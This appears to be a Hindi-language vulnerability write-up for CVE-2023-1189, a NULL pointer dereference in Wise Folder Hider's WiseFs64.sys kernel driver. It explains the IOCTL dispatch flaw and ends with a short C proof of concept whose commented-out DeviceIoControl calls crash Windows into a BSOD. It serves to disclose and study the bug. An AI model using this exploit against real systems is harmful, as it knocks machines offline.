
CVE-2023-1189 PoC & Exploit
| आइटम | विवरण |
|---|---|
| CVE ID | CVE-2023-1189 |
| भेद्यता प्रकार | Improper Resource Shutdown or Release (CWE-404) |
| प्रभावित सॉफ्टवेयर | WiseCleaner Wise Folder Hider |
| भेद्य घटक | WiseFs64.sys (Kernel Driver) |
| भेद्य संस्करण | 4.4.3.202 |
| CVSS | NVD - 5.5(Medium), VulDB - 3.3(Low) |
| प्रकाशन तिथि | 2023.03.06 |
यह भेद्यता एक स्थानीय सेवा अस्वीकृति भेद्यता है जो हमलावर को उपयोगकर्ता अधिकारों से एक विशिष्ट IOCTL के माध्यम से कर्नेल NULL पॉइंटर डिरेफरेंस को प्रेरित करके सिस्टम को BSOD स्थिति में लाने की अनुमति देती है।
CVE-2023-1189 भेद्यता 4.4.3.202 संस्करण के Wise Folder Hider प्रोग्राम की सेटअप द्वारा बनाए गए WiseFs64.sys कर्नेल ड्राइवर में होती है।
समग्र भेद्यता प्रवाह इस प्रकार है:

उस प्रवाह को विस्तार से देखें:

सबसे पहले, DriverEntry फ़ंक्शन में, डिस्पैच टेबल के इंडेक्स 14 पर dispatchDeviceControl फ़ंक्शन सेट किया जाता है।
इसके माध्यम से, \\\\.\\WiseFs पर आने वाले सभी IOCTL dispatchDeviceControl को भेजे जाते हैं।

dispatchDeviceControl फ़ंक्शन में प्रवेश करने पर, सबसे पहले यह जांच की जाती है कि क्या यह नियंत्रण उपकरण है, और यदि हाँ, तो यह handleControlDeviceIoctl फ़ंक्शन में जाता है।

handleControlDeviceIoctl फ़ंक्शन में वास्तविक IOCTL कोड को संसाधित करने का तर्क होता है।
विभिन्न IOCTL कोडों में, 0x222400, 0x222404, और 0x222410 में बफर का मान NULL है या नहीं, इसकी पुष्टि करने वाला भाग छोड़ दिया गया है।
इसलिए, जब बफर NULL होने पर उपरोक्त IOCTL को कॉल किया जाता है, तो ड्राइवर बफर तक पहुँचता है, जिससे NULL पॉइंटर डिरेफरेंस होता है और यह BSOD की ओर ले जाता है।
#include <stdio.h>
#include <Windows.h>
#include <winioctl.h>
#define SymLinkName L"\\\\.\\WiseFS"
HANDLE hDevice;
int main(int argc, char* argv[]) {
DWORD dwWrite = 0;
hDevice = CreateFileW(SymLinkName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("failed to CreateFile\n");
return 1;
}
// case 0x222400
// DeviceIoControl(hDevice, 0x222400, NULL, 0, NULL, 0, &dwWrite, NULL);
// case 0x222404
// DeviceIoControl(hDevice, 0x222404, NULL, 0, NULL, 0, &dwWrite, NULL);
// case 0x222410
// DeviceIoControl(hDevice, 0x222410, NULL, 0, NULL, 0, &dwWrite, NULL);
CloseHandle(hDevice);
return 0;
}